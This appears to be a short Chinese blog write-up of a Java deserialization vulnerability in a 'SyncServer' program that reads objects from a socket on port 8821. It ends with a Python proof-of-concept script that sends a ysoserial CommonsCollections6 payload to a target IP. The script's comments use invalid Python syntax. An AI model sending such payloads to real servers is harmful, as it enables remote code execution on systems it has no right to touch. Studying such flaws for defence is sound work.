反序列化随手

1
SyncServer.class

启动进入service方法

image

service方法中,将socket连接信息传进CommunicateHandler对象处理

image

其中serverSocket对象的初始化信息如下:

image

getServerPort方法返回的是指定的8821端口

image

getserverAddr则返回的是本机ip

image

回到对socket的处理,跟进CommunicateHandler

1
CommunicateHandler.class

将包含有连接信息的socket对象传进handle方法

image

handle方法中,使用ObjectInputStream对象的readObject方法对获取的socket数据流进行了反序列化,由于与socket通信的数据是可控的,导致了漏洞的产生

image

验证:

使用python编写一个与目标进行socket通信发送恶意数据的脚本

1
2
3
4
5
6
7
8
9
10
11
#
coding: utf - 8
import socket
s = socket.socket()
host = "192.168.31.169" //目标ip
port = 8821
s.connect((host, port))
ssss = open("cc6.ser", 'rb') //恶意数据,ysoserial CommonsCollections6
xc = ssss.read()
s.send(xc)
s.close()

启动目标

1
java -cp sync.jar SyncServer

image

运行脚本,向目标发送恶意数据,目标接收消息后触发

image

能使用的利用链:

image


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.